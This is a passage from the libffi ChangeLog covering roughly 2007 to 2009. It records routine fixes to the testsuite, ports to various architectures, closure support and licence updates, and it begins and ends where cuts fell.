const 0 for Cygwin. (dlmmap, dlmunmap): Also use these functions on Cygwin. 2009-07-11 Richard Sandiford PR testsuite/40699 PR testsuite/40707 PR testsuite/40709 * testsuite/lib/libffi-dg.exp: Revert 2009-07-02, 2009-07-01 and 2009-06-30 commits. 2009-07-01 Richard Sandiford * testsuite/lib/libffi-dg.exp (libffi-init): Set ld_library_path to "" before adding paths. (This reinstates an assignment that was removed by my 2009-06-30 commit, but changes the initial value from "." to "".) 2009-07-01 H.J. Lu PR testsuite/40601 * testsuite/lib/libffi-dg.exp (libffi-init): Properly set gccdir. Adjust ld_library_path for gcc only if gccdir isn't empty. 2009-06-30 Richard Sandiford * testsuite/lib/libffi-dg.exp (libffi-init): Don't add "." to ld_library_path. Use add_path. Add just find_libgcc_s to ld_library_path, not every libgcc multilib directory. 2009-06-16 Wim Lewis * src/powerpc/ffi.c: Avoid clobbering cr3 and cr4, which are supposed to be callee-saved. * src/powerpc/sysv.S (small_struct_return_value): Fix overrun of return buffer for odd-size structs. 2009-06-16 Andreas Tobler PR libffi/40444 * testsuite/lib/libffi-dg.exp (libffi_target_compile): Add allow_stack_execute for Darwin. 2009-06-16 Andrew Haley * configure.ac (TARGETDIR): Add missing blank lines. * configure: Regenerate. 2009-06-16 Andrew Haley * testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/return_ll1.c, testsuite/libffi.call/stret_medium2.c: Fix printf format specifiers. * testsuite/libffi.call/ffitest.h, testsuite/libffi.special/ffitestcxx.h (PRIdLL, PRIuLL): Define. 2009-06-15 Andrew Haley * testsuite/libffi.call/err_bad_typedef.c: xfail everywhere. * testsuite/libffi.call/err_bad_abi.c: Likewise. 2009-06-12 Andrew Haley * Makefile.am: Remove info_TEXINFOS. 2009-06-12 Andrew Haley * ChangeLog.libffi: testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/return_ll1.c, testsuite/libffi.call/stret_medium2.c: Fix printf format specifiers. testsuite/libffi.special/unwindtest.cc: include stdint.h. 2009-06-11 Timothy Wall * Makefile.am, configure.ac, include/ffi.h.in, include/ffi_common.h, src/closures.c, src/dlmalloc.c, src/x86/ffi.c, src/x86/ffitarget.h, src/x86/win64.S (new), README: Added win64 support (mingw or MSVC) * Makefile.in, include/Makefile.in, man/Makefile.in, testsuite/Makefile.in, configure, aclocal.m4: Regenerated * ltcf-c.sh: properly escape cygwin/w32 path * man/ffi_call.3: Clarify size requirements for return value. * src/x86/ffi64.c: Fix filename in comment. * src/x86/win32.S: Remove unused extern. * testsuite/libffi.call/closure_fn0.c, testsuite/libffi.call/closure_fn1.c, testsuite/libffi.call/closure_fn2.c, testsuite/libffi.call/closure_fn3.c, testsuite/libffi.call/closure_fn4.c, testsuite/libffi.call/closure_fn5.c, testsuite/libffi.call/closure_fn6.c, testsuite/libffi.call/closure_stdcall.c, testsuite/libffi.call/cls_12byte.c, testsuite/libffi.call/cls_16byte.c, testsuite/libffi.call/cls_18byte.c, testsuite/libffi.call/cls_19byte.c, testsuite/libffi.call/cls_1_1byte.c, testsuite/libffi.call/cls_20byte.c, testsuite/libffi.call/cls_20byte1.c, testsuite/libffi.call/cls_24byte.c, testsuite/libffi.call/cls_2byte.c, testsuite/libffi.call/cls_3_1byte.c, testsuite/libffi.call/cls_3byte1.c, testsuite/libffi.call/cls_3byte2.c, testsuite/libffi.call/cls_4_1byte.c, testsuite/libffi.call/cls_4byte.c, testsuite/libffi.call/cls_5_1_byte.c, testsuite/libffi.call/cls_5byte.c, testsuite/libffi.call/cls_64byte.c, testsuite/libffi.call/cls_6_1_byte.c, testsuite/libffi.call/cls_6byte.c, testsuite/libffi.call/cls_7_1_byte.c, testsuite/libffi.call/cls_7byte.c, testsuite/libffi.call/cls_8byte.c, testsuite/libffi.call/cls_9byte1.c, testsuite/libffi.call/cls_9byte2.c, testsuite/libffi.call/cls_align_double.c, testsuite/libffi.call/cls_align_float.c, testsuite/libffi.call/cls_align_longdouble.c, testsuite/libffi.call/cls_align_longdouble_split.c, testsuite/libffi.call/cls_align_longdouble_split2.c, testsuite/libffi.call/cls_align_pointer.c, testsuite/libffi.call/cls_align_sint16.c, testsuite/libffi.call/cls_align_sint32.c, testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_align_uint16.c, testsuite/libffi.call/cls_align_uint32.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_dbls_struct.c, testsuite/libffi.call/cls_double.c, testsuite/libffi.call/cls_double_va.c, testsuite/libffi.call/cls_float.c, testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_multi_schar.c, testsuite/libffi.call/cls_multi_sshort.c, testsuite/libffi.call/cls_multi_sshortchar.c, testsuite/libffi.call/cls_multi_uchar.c, testsuite/libffi.call/cls_multi_ushort.c, testsuite/libffi.call/cls_multi_ushortchar.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c, testsuite/libffi.call/cls_schar.c, testsuite/libffi.call/cls_sint.c, testsuite/libffi.call/cls_sshort.c, testsuite/libffi.call/cls_uchar.c, testsuite/libffi.call/cls_uint.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/cls_ushort.c, testsuite/libffi.call/err_bad_abi.c, testsuite/libffi.call/err_bad_typedef.c, testsuite/libffi.call/float2.c, testsuite/libffi.call/huge_struct.c, testsuite/libffi.call/nested_struct.c, testsuite/libffi.call/nested_struct1.c, testsuite/libffi.call/nested_struct10.c, testsuite/libffi.call/nested_struct2.c, testsuite/libffi.call/nested_struct3.c, testsuite/libffi.call/nested_struct4.c, testsuite/libffi.call/nested_struct5.c, testsuite/libffi.call/nested_struct6.c, testsuite/libffi.call/nested_struct7.c, testsuite/libffi.call/nested_struct8.c, testsuite/libffi.call/nested_struct9.c, testsuite/libffi.call/problem1.c, testsuite/libffi.call/return_ldl.c, testsuite/libffi.call/return_ll1.c, testsuite/libffi.call/stret_large.c, testsuite/libffi.call/stret_large2.c, testsuite/libffi.call/stret_medium.c, testsuite/libffi.call/stret_medium2.c, testsuite/libffi.special/unwindtest.cc: use ffi_closure_alloc instead of checking for MMAP. Use intptr_t instead of long casts. 2009-06-11 Kaz Kojima * testsuite/libffi.call/cls_longdouble_va.c: Add xfail sh*-*-linux-*. * testsuite/libffi.call/err_bad_abi.c: Add xfail sh*-*-*. * testsuite/libffi.call/err_bad_typedef.c: Likewise. 2009-06-09 Andrew Haley * src/x86/freebsd.S: Add missing file. 2009-06-08 Andrew Haley Import from libffi 3.0.8: * doc/libffi.texi: New file. * doc/libffi.info: Likewise. * doc/stamp-vti: Likewise. * man/Makefile.am: New file. * man/ffi_call.3: New file. * Makefile.am (EXTRA_DIST): Add src/x86/darwin64.S, src/dlmalloc.c. (nodist_libffi_la_SOURCES): Add X86_FREEBSD. * configure.ac: Bump version to 3.0.8. parisc*-*-linux*: Add. i386-*-freebsd* | i386-*-openbsd*: Add. powerpc-*-beos*: Add. AM_CONDITIONAL X86_FREEBSD: Add. AC_CONFIG_FILES: Add man/Makefile. * include/ffi.h.in (FFI_FN): Change void (*)() to void (*)(void). 2009-06-08 Andrew Haley * README: Import from libffi 3.0.8. 2009-06-08 Andrew Haley * testsuite/libffi.call/err_bad_abi.c: Add xfails. * testsuite/libffi.call/cls_longdouble_va.c: Add xfails. * testsuite/libffi.call/cls_dbls_struct.c: Add xfail x86_64-*-linux-*. * testsuite/libffi.call/err_bad_typedef.c: Add xfails. * testsuite/libffi.call/stret_medium2.c: Add __UNUSED__ to args. * testsuite/libffi.call/stret_medium.c: Likewise. * testsuite/libffi.call/stret_large2.c: Likewise. * testsuite/libffi.call/stret_large.c: Likewise. 2008-12-26 Timothy Wall * testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_align_longdouble.c, testsuite/libffi.call/cls_align_longdouble_split.c, testsuite/libffi.call/cls_align_longdouble_split2.c: mark expected failures on x86_64 cygwin/mingw. 2008-12-22 Timothy Wall * testsuite/libffi.call/closure_fn0.c, testsuite/libffi.call/closure_fn1.c, testsuite/libffi.call/closure_fn2.c, testsuite/libffi.call/closure_fn3.c, testsuite/libffi.call/closure_fn4.c, testsuite/libffi.call/closure_fn5.c, testsuite/libffi.call/closure_fn6.c, testsuite/libffi.call/closure_loc_fn0.c, testsuite/libffi.call/closure_stdcall.c, testsuite/libffi.call/cls_align_pointer.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c: use portable cast from pointer to integer (intptr_t). * testsuite/libffi.call/cls_longdouble.c: disable for win64. 2008-07-24 Anthony Green * testsuite/libffi.call/cls_dbls_struct.c, testsuite/libffi.call/cls_double_va.c, testsuite/libffi.call/cls_longdouble.c, testsuite/libffi.call/cls_longdouble_va.c, testsuite/libffi.call/cls_pointer.c, testsuite/libffi.call/cls_pointer_stack.c, testsuite/libffi.call/err_bad_abi.c: Clean up failures from compiler warnings. 2008-03-04 Anthony Green Blake Chaffin hos@tamanegi.org * testsuite/libffi.call/cls_align_longdouble_split2.c testsuite/libffi.call/cls_align_longdouble_split.c testsuite/libffi.call/cls_dbls_struct.c testsuite/libffi.call/cls_double_va.c testsuite/libffi.call/cls_longdouble.c testsuite/libffi.call/cls_longdouble_va.c testsuite/libffi.call/cls_pointer.c testsuite/libffi.call/cls_pointer_stack.c testsuite/libffi.call/err_bad_abi.c testsuite/libffi.call/err_bad_typedef.c testsuite/libffi.call/stret_large2.c testsuite/libffi.call/stret_large.c testsuite/libffi.call/stret_medium2.c testsuite/libffi.call/stret_medium.c: New tests from Apple. 2009-06-05 Andrew Haley * src/x86/ffitarget.h, src/x86/ffi.c: Merge stdcall changes from libffi. 2009-06-04 Andrew Haley * src/x86/ffitarget.h, src/x86/win32.S, src/x86/ffi.c: Back out stdcall changes. 2008-02-26 Anthony Green Thomas Heller * src/x86/ffi.c (ffi_closure_SYSV_inner): Change C++ comment to C comment. 2008-02-03 Timothy Wall * src/x86/ffi.c (FFI_INIT_TRAMPOLINE_STDCALL): Calculate jump return offset based on code pointer, not data pointer. 2008-01-31 Timothy Wall * testsuite/libffi.call/closure_stdcall.c: Add test for stdcall closures. * src/x86/ffitarget.h: Increase size of trampoline for stdcall closures. * src/x86/win32.S: Add assembly for stdcall closure. * src/x86/ffi.c: Initialize stdcall closure trampoline. 2009-06-04 Andrew Haley * include/ffi.h.in: Change void (*)() to void (*)(void). * src/x86/ffi.c: Likewise. 2009-06-04 Andrew Haley * src/powerpc/ppc_closure.S: Insert licence header. * src/powerpc/linux64_closure.S: Likewise. * src/m68k/sysv.S: Likewise. * src/sh64/ffi.c: Change void (*)() to void (*)(void). * src/powerpc/ffi.c: Likewise. * src/powerpc/ffi_darwin.c: Likewise. * src/m32r/ffi.c: Likewise. * src/sh64/ffi.c: Likewise. * src/x86/ffi64.c: Likewise. * src/alpha/ffi.c: Likewise. * src/alpha/osf.S: Likewise. * src/frv/ffi.c: Likewise. * src/s390/ffi.c: Likewise. * src/pa/ffi.c: Likewise. * src/pa/hpux32.S: Likewise. * src/ia64/unix.S: Likewise. * src/ia64/ffi.c: Likewise. * src/sparc/ffi.c: Likewise. * src/mips/ffi.c: Likewise. * src/sh/ffi.c: Likewise. 2008-02-15 David Daney * src/mips/ffi.c (USE__BUILTIN___CLEAR_CACHE): Define (conditionally), and use it to include cachectl.h. (ffi_prep_closure_loc): Fix cache flushing. * src/mips/ffitarget.h (_ABIN32, _ABI64, _ABIO32): Define. 2009-06-04 Andrew Haley include/ffi.h.in, src/arm/ffitarget.h, src/arm/ffi.c, src/arm/sysv.S, src/powerpc/ffitarget.h, src/closures.c, src/sh64/ffitarget.h, src/sh64/ffi.c, src/sh64/sysv.S, src/types.c, src/x86/ffi64.c, src/x86/ffitarget.h, src/x86/win32.S, src/x86/darwin.S, src/x86/ffi.c, src/x86/sysv.S, src/x86/unix64.S, src/alpha/ffitarget.h, src/alpha/ffi.c, src/alpha/osf.S, src/m68k/ffitarget.h, src/frv/ffitarget.h, src/frv/ffi.c, src/s390/ffitarget.h, src/s390/sysv.S, src/cris/ffitarget.h, src/pa/linux.S, src/pa/ffitarget.h, src/pa/ffi.c, src/raw_api.c, src/ia64/ffitarget.h, src/ia64/unix.S, src/ia64/ffi.c, src/ia64/ia64_flags.h, src/java_raw_api.c, src/debug.c, src/sparc/v9.S, src/sparc/ffitarget.h, src/sparc/ffi.c, src/sparc/v8.S, src/mips/ffitarget.h, src/mips/n32.S, src/mips/o32.S, src/mips/ffi.c, src/prep_cif.c, src/sh/ffitarget.h, src/sh/ffi.c, src/sh/sysv.S: Update license text. 2009-05-22 Dave Korn * src/x86/win32.S (_ffi_closure_STDCALL): New function. (.eh_frame): Add FDE for it. 2009-05-22 Dave Korn * configure.ac: Also check if assembler supports pc-relative relocs on X86_WIN32 targets. * configure: Regenerate. * src/x86/win32.S (ffi_prep_args): Declare extern, not global. (_ffi_call_SYSV): Add missing function type symbol .def and add EH markup labels. (_ffi_call_STDCALL): Likewise. (_ffi_closure_SYSV): Likewise. (_ffi_closure_raw_SYSV): Likewise. (.eh_frame): Add hand-crafted EH data. 2009-04-09 Jakub Jelinek * testsuite/lib/libffi-dg.exp: Change copyright header to refer to version 3 of the GNU General Public License and to point readers at the COPYING3 file and the FSF's license web page. * testsuite/libffi.call/call.exp: Likewise. * testsuite/libffi.special/special.exp: Likewise. 2009-03-01 Ralf Wildenhues * configure: Regenerate. 2008-12-18 Rainer Orth PR libffi/26048 * configure.ac (HAVE_AS_X86_PCREL): New test. * configure: Regenerate. * fficonfig.h.in: Regenerate. * src/x86/sysv.S [!FFI_NO_RAW_API]: Precalculate RAW_CLOSURE_CIF_OFFSET, RAW_CLOSURE_FUN_OFFSET, RAW_CLOSURE_USER_DATA_OFFSET for the Solaris 10/x86 assembler. (.eh_frame): Only use SYMBOL-. iff HAVE_AS_X86_PCREL. * src/x86/unix64.S (.Lstore_table): Move to .text section. (.Lload_table): Likewise. (.eh_frame): Only use SYMBOL-. iff HAVE_AS_X86_PCREL. 2008-12-18 Ralf Wildenhues * configure: Regenerate. 2008-11-21 Eric Botcazou * src/sparc/ffi.c (ffi_prep_cif_machdep): Add support for signed/unsigned int8/16 return values. * src/sparc/v8.S (ffi_call_v8): Likewise. (ffi_closure_v8): Likewise. 2008-09-26 Peter O'Gorman Steve Ellcey * configure: Regenerate for new libtool. * Makefile.in: Ditto. * include/Makefile.in: Ditto. * aclocal.m4: Ditto. 2008-08-25 Andreas Tobler * src/powerpc/ffitarget.h (ffi_abi): Add FFI_LINUX and FFI_LINUX_SOFT_FLOAT to the POWERPC_FREEBSD enum. Add note about flag bits used for FFI_SYSV_TYPE_SMALL_STRUCT. Adjust copyright notice. * src/powerpc/ffi.c: Add two new flags to indicate if we have one register or two register to use for FFI_SYSV structs. (ffi_prep_cif_machdep): Pass the right register flag introduced above. (ffi_closure_helper_SYSV): Fix the return type for FFI_SYSV_TYPE_SMALL_STRUCT. Comment. Adjust copyright notice. 2008-07-16 Kaz Kojima * src/sh/ffi.c (ffi_prep_closure_loc): Turn INSN into an unsigned int. 2008-06-17 Ralf Wildenhues * configure: Regenerate. * include/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2008-06-07 Joseph Myers * configure.ac (parisc*-*-linux*, powerpc-*-sysv*, powerpc-*-beos*): Remove. * configure: Regenerate. 2008-05-09 Julian Brown * Makefile.am (LTLDFLAGS): New. (libffi_la_LDFLAGS): Use above. * Makefile.in: Regenerate. 2008-04-18 Paolo Bonzini PR bootstrap/35457 * aclocal.m4: Regenerate. * configure: Regenerate. 2008-03-26 Kaz Kojima * src/sh/sysv.S: Add .note.GNU-stack on Linux. * src/sh64/sysv.S: Likewise. 2008-03-26 Daniel Jacobowitz * src/arm/sysv.S: Fix ARM comment marker. 2008-03-26 Jakub Jelinek * src/alpha/osf.S: Add .note.GNU-stack on Linux. * src/s390/sysv.S: Likewise. * src/powerpc/ppc_closure.S: Likewise. * src/powerpc/sysv.S: Likewise. * src/x86/unix64.S: Likewise. * src/x86/sysv.S: Likewise. * src/sparc/v8.S: Likewise. * src/sparc/v9.S: Likewise. * src/m68k/sysv.S: Likewise. * src/arm/sysv.S: Likewise. 2008-03-16 Ralf Wildenhues * aclocal.m4: Regenerate. * configure: Likewise. * Makefile.in: Likewise. * include/Makefile.in: Likewise. * testsuite/Makefile.in: Likewise. 2008-02-12 Bjoern Koenig Andreas Tobler * configure.ac: Add amd64-*-freebsd* target. * configure: Regenerate. 2008-01-30 H.J. Lu PR libffi/34612 * src/x86/sysv.S (ffi_closure_SYSV): Pop 4 byte from stack when returning struct. * testsuite/libffi.call/call.exp: Add "-O2 -fomit-frame-pointer" tests. 2008-01-24 David Edelsohn * configure: Regenerate. 2008-01-06 Andreas Tobler * src/x86/ffi.c (ffi_prep_cif_machdep): Fix thinko. 2008-01-05 Andreas Tobler PR testsuite/32843 * src/x86/ffi.c (ffi_prep_cif_machdep): Add code for signed/unsigned int8/16 for X86_DARWIN. Updated copyright info. Handle one and two byte structs with special cif->flags. * src/x86/ffitarget.h: Add special types for one and two byte structs. Updated copyright info. * src/x86/darwin.S (ffi_call_SYSV): Rewrite to use a jump table like sysv.S Remove code to pop args from the stack after call. Special-case signed/unsigned for int8/16, one and two byte structs. (ffi_closure_raw_SYSV): Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. Updated copyright info. 2007-12-08 David Daney * src/mips/n32.S (ffi_call_N32): Replace dadd with ADDU, dsub with SUBU, add with ADDU and use smaller code sequences. 2007-12-07 David Daney * src/mips/ffi.c (ffi_prep_cif_machdep): Handle long double return type. 2007-12-06 David Daney * include/ffi.h.in (FFI_SIZEOF_JAVA_RAW): Define if not already defined. (ffi_java_raw): New typedef. (ffi_java_raw_call, ffi_java_ptrarray_to_raw, ffi_java_raw_to_ptrarray): Change parameter types from ffi_raw to ffi_java_raw. (ffi_java_raw_closure) : Same. (ffi_prep_java_raw_closure, ffi_prep_java_raw_closure_loc): Change parameter types. * src/java_raw_api.c (ffi_java_raw_size): Replace FFI_SIZEOF_ARG with FFI_SIZEOF_JAVA_RAW. (ffi_java_raw_to_ptrarray): Change type of raw to ffi_java_raw. Replace FFI_SIZEOF_ARG with FFI_SIZEOF_JAVA_RAW. Use sizeof(ffi_java_raw) for alignment calculations. (ffi_java_ptrarray_to_raw): Same. (ffi_java_rvalue_to_raw): Add special handling for FFI_TYPE_POINTER if FFI_SIZEOF_JAVA_RAW == 4. (ffi_java_raw_to_rvalue): Same. (ffi_java_raw_call): Change type of raw to ffi_java_raw. (ffi_java_translate_args): Same. (ffi_prep_java_raw_closure_loc, ffi_prep_java_raw_closure): Change parameter types. * src/mips/ffitarget.h (FFI_SIZEOF_JAVA_RAW): Define for N32 ABI. 2007-12-06 David Daney * src/mips/n32.S (ffi_closure_N32): Use 64-bit add instruction on pointer values. 2007-12-01 Andreas Tobler PR libffi/31937 * src/powerpc/ffitarget.h: Introduce new ABI FFI_LINUX_SOFT_FLOAT. Add local FFI_TYPE_UINT128 to handle soft-float long-double-128. * src/powerpc/ffi.c: Distinguish between __NO_FPRS__ and not and set the NUM_FPR_ARG_REGISTERS according to. Add support for potential soft-float support under hard-float architecture. (ffi_prep_args_SYSV): Set NUM_FPR_ARG_REGISTERS to 0 in case of FFI_LINUX_SOFT_FLOAT, handle float, doubles and long-doubles according to the FFI_LINUX_SOFT_FLOAT ABI. (ffi_prep_cif_machdep): Likewise. (ffi_closure_helper_SYSV): Likewise. * src/powerpc/ppc_closure.S: Make sure not to store float/double on archs where __NO_FPRS__ is true. Add FFI_TYPE_UINT128 support. * src/powerpc/sysv.S: Add support for soft-float long-double-128. Adjust copyright notice. 2007-11-25 Andreas Tobler * src/closures.c: Move defintion of MAYBE_UNUSED from here to ... * include/ffi_common.h: ... here. Update copyright. 2007-11-17 Andreas Tobler * src/powerpc/sysv.S: Load correct cr to compare if we have long double. * src/powerpc/linux64.S: Likewise. * src/powerpc/ffi.c: Add a comment to show which part goes into cr6. * testsuite/libffi.call/return_ldl.c: New test. 2007-09-04 * src/arm/sysv.S (UNWIND): New. (Whole file): Conditionally compile unwinder directives. * src/arm/sysv.S: Add unwinder directives. * src/arm/ffi.c (ffi_prep_args): Align structs by at least 4 bytes. Only treat r0 as a struct address if we're actually returning a struct by address. Only copy the bytes that are actually within a struct. (ffi_prep_cif_machdep): A Composite Type not larger than 4 bytes is returned in r0, not passed by address. (ffi_call): Allocate a word-sized temporary for the case where a composite is returned in r0. (ffi_prep_incoming_args_SYSV): Align as necessary. 2007-08-05 Steven Newbury * src/arm/ffi.c (FFI_INIT_TRAMPOLINE): Use __clear_cache instead of directly using the sys_cacheflush syscall. 2007-07-27 Andrew Haley * src/arm/sysv.S (ffi_closure_SYSV): Add soft-float. 2007-09-03 Maciej W. Rozycki * Makefile.am: Unify MIPS_IRIX and MIPS_LINUX into MIPS. * configure.ac: Likewise. * Makefile.in: Regenerate. * include/Makefile.in: Likewise. * testsuite/Makefile.in: Likewise. * configure: Likewise. 2007-08-24 David Daney * testsuite/libffi.call/return_sl.c: New test. 2007-08-10 David Daney * testsuite/libffi.call/cls_multi_ushort.c, testsuite/libffi.call/cls_align_uint16.c, testsuite/libffi.call/nested_struct1.c, testsuite/libffi.call/nested_struct3.c, testsuite/libffi.call/cls_7_1_byte.c, testsuite/libffi.call/nested_struct5.c, testsuite/libffi.call/cls_double.c, testsuite/libffi.call/nested_struct7.c, testsuite/libffi.call/cls_sint.c, testsuite/libffi.call/nested_struct9.c, testsuite/libffi.call/cls_20byte1.c, testsuite/libffi.call/cls_multi_sshortchar.c, testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_3byte2.c, testsuite/libffi.call/cls_multi_schar.c, testsuite/libffi.call/cls_multi_uchar.c, testsuite/libffi.call/cls_19byte.c, testsuite/libffi.call/cls_9byte1.c, testsuite/libffi.call/cls_align_float.c, testsuite/libffi.call/closure_fn1.c, testsuite/libffi.call/problem1.c, testsuite/libffi.call/closure_fn3.c, testsuite/libffi.call/cls_sshort.c, testsuite/libffi.call/closure_fn5.c, testsuite/libffi.call/cls_align_double.c, testsuite/libffi.call/nested_struct.c, testsuite/libffi.call/cls_2byte.c, testsuite/libffi.call/nested_struct10.c, testsuite/libffi.call/cls_4byte.c, testsuite/libffi.call/cls_6byte.c, testsuite/libffi.call/cls_8byte.c, testsuite/libffi.call/cls_multi_sshort.c, testsuite/libffi.call/cls_align_sint16.c, testsuite/libffi.call/cls_align_uint32.c, testsuite/libffi.call/cls_20byte.c, testsuite/libffi.call/cls_float.c, testsuite/libffi.call/nested_struct2.c, testsuite/libffi.call/cls_5_1_byte.c, testsuite/libffi.call/nested_struct4.c, testsuite/libffi.call/cls_24byte.c, testsuite/libffi.call/nested_struct6.c, testsuite/libffi.call/cls_64byte.c, testsuite/libffi.call/nested_struct8.c, testsuite/libffi.call/cls_uint.c, testsuite/libffi.call/cls_multi_ushortchar.c, testsuite/libffi.call/cls_schar.c, testsuite/libffi.call/cls_uchar.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/cls_align_longdouble.c, testsuite/libffi.call/cls_1_1byte.c, testsuite/libffi.call/cls_12byte.c, testsuite/libffi.call/cls_3_1byte.c, testsuite/libffi.call/cls_3byte1.c, testsuite/libffi.call/cls_4_1byte.c, testsuite/libffi.call/cls_6_1_byte.c, testsuite/libffi.call/cls_16byte.c, testsuite/libffi.call/cls_18byte.c, testsuite/libffi.call/closure_fn0.c, testsuite/libffi.call/cls_9byte2.c, testsuite/libffi.call/closure_fn2.c, testsuite/libffi.call/closure_fn4.c, testsuite/libffi.call/cls_ushort.c, testsuite/libffi.call/closure_fn6.c, testsuite/libffi.call/cls_5byte.c, testsuite/libffi.call/cls_align_pointer.c, testsuite/libffi.call/cls_7byte.c, testsuite/libffi.call/cls_align_sint32.c, testsuite/libffi.special/unwindtest_ffi_call.cc, testsuite/libffi.special/unwindtest.cc: Remove xfail for mips64*-*-*. 2007-08-10 David Daney PR libffi/28313 * configure.ac: Don't treat mips64 as a special case. * Makefile.am (nodist_libffi_la_SOURCES): Add n32.S. * configure: Regenerate * Makefile.in: Ditto. * fficonfig.h.in: Ditto. * src/mips/ffitarget.h (REG_L, REG_S, SUBU, ADDU, SRL, LI): Indent. (LA, EH_FRAME_ALIGN, FDE_ADDR_BYTES): New preprocessor macros. (FFI_DEFAULT_ABI): Set for n64 case. (FFI_CLOSURES, FFI_TRAMPOLINE_SIZE): Define for n32 and n64 cases. * src/mips/n32.S (ffi_call_N32): Add debug macros and labels for FDE. (ffi_closure_N32): New function. (.eh_frame): New section * src/mips/o32.S: Clean up comments. (ffi_closure_O32): Pass ffi_closure parameter in $12. * src/mips/ffi.c: Use FFI_MIPS_N32 instead of _MIPS_SIM == _ABIN32 throughout. (FFI_MIPS_STOP_HERE): New, use in place of ffi_stop_here. (ffi_prep_args): Use unsigned long to hold pointer values. Rewrite to support n32/n64 ABIs. (calc_n32_struct_flags): Rewrite. (calc_n32_return_struct_flags): Remove unused variable. Reverse position of flag bits. (ffi_prep_cif_machdep): Rewrite n32 portion. (ffi_call): Enable for n64. Add special handling for small structure return values. (ffi_prep_closure_loc): Add n32 and n64 support. (ffi_closure_mips_inner_O32): Add cast to silence warning. (copy_struct_N32, ffi_closure_mips_inner_N32): New functions. 2007-08-08 David Daney * testsuite/libffi.call/ffitest.h (ffi_type_mylong): Remove definition. * testsuite/libffi.call/cls_align_uint16.c (main): Use correct type specifiers. * testsuite/libffi.call/nested_struct1.c (main): Ditto. * testsuite/libffi.call/cls_sint.c (main): Ditto. * testsuite/libffi.call/nested_struct9.c (main): Ditto. * testsuite/libffi.call/cls_20byte1.c (main): Ditto. * testsuite/libffi.call/cls_9byte1.c (main): Ditto. * testsuite/libffi.call/closure_fn1.c (main): Ditto. * testsuite/libffi.call/closure_fn3.c (main): Ditto. * testsuite/libffi.call/return_dbl2.c (main): Ditto. * testsuite/libffi.call/cls_sshort.c (main): Ditto. * testsuite/libffi.call/return_fl3.c (main): Ditto. * testsuite/libffi.call/closure_fn5.c (main): Ditto. * testsuite/libffi.call/nested_struct.c (main): Ditto. * testsuite/libffi.call/nested_struct10.c (main): Ditto. * testsuite/libffi.call/return_ll1.c (main): Ditto. * testsuite/libffi.call/cls_8byte.c (main): Ditto. * testsuite/libffi.call/cls_align_uint32.c (main): Ditto. * testsuite/libffi.call/cls_align_sint16.c (main): Ditto. * testsuite/libffi.call/cls_20byte.c (main): Ditto. * testsuite/libffi.call/nested_struct2.c (main): Ditto. * testsuite/libffi.call/cls_24byte.c (main): Ditto. * testsuite/libffi.call/nested_struct6.c (main): Ditto. * testsuite/libffi.call/cls_uint.c (main): Ditto. * testsuite/libffi.call/cls_12byte.c (main): Ditto. * testsuite/libffi.call/cls_16byte.c (main): Ditto. * testsuite/libffi.call/closure_fn0.c (main): Ditto. * testsuite/libffi.call/cls_9byte2.c (main): Ditto. * testsuite/libffi.call/closure_fn2.c (main): Ditto. * testsuite/libffi.call/return_dbl1.c (main): Ditto. * testsuite/libffi.call/closure_fn4.c (main): Ditto. * testsuite/libffi.call/closure_fn6.c (main): Ditto. * testsuite/libffi.call/cls_align_sint32.c (main): Ditto. 2007-08-07 Andrew Haley * src/x86/sysv.S (ffi_closure_raw_SYSV): Fix typo in previous checkin. 2007-08-06 Andrew Haley PR testsuite/32843 * src/x86/sysv.S (ffi_closure_raw_SYSV): Handle FFI_TYPE_UINT8, FFI_TYPE_SINT8, FFI_TYPE_UINT16, FFI_TYPE_SINT16, FFI_TYPE_UINT32, FFI_TYPE_SINT32. 2007-08-02 David Daney * testsuite/libffi.call/return_ul.c (main): Define return type as ffi_arg. Use proper printf conversion specifier. 2007-07-30 Andrew Haley PR testsuite/32843 * src/x86/ffi.c (ffi_prep_cif_machdep): in x86 case, add code for signed/unsigned int8/16. * src/x86/sysv.S (ffi_call_SYSV): Rewrite to: Use a jump table. Remove code to pop args from the stack after call. Special-case signed/unsigned int8/16. * testsuite/libffi.call/return_sc.c (main): Revert. 2007-07-26 Richard Guenther PR testsuite/32843 * testsuite/libffi.call/return_sc.c (main): Verify call result as signed char, not ffi_arg. 2007-07-16 Rainer Orth * configure.ac (i?86-*-solaris2.1[0-9]): Set TARGET to X86_64. * configure: Regenerate. 2007-07-11 David Daney * src/mips/ffi.c: Don't include sys/cachectl.h. (ffi_prep_closure_loc): Use __builtin___clear_cache() instead of cacheflush(). 2007-05-18 Aurelien Jarno * src/arm/ffi.c (ffi_prep_closure_loc): Renamed and ajusted from (ffi_prep_closure): ... this. (FFI_INIT_TRAMPOLINE): Adjust. 2005-12-31 Phil Blundell * src/arm/ffi.c (ffi_prep_incoming_args_SYSV, ffi_closure_SYSV_inner, ffi_prep_closure): New, add closure support. * src/arm/sysv.S(ffi_closure_SYSV): Likewise. * src/arm/ffitarget.h (FFI_TRAMPOLINE_SIZE): Likewise. (FFI_CLOSURES): Enable closure support. 2007-07-03 Andrew Haley * testsuite/libffi.call/cls_multi_ushort.c, testsuite/libffi.call/cls_align_uint16.c, testsuite/libffi.call/nested_struct1.c, testsuite/libffi.call/nested_struct3.c, testsuite/libffi.call/cls_7_1_byte.c, testsuite/libffi.call/cls_double.c, testsuite/libffi.call/nested_struct5.c, 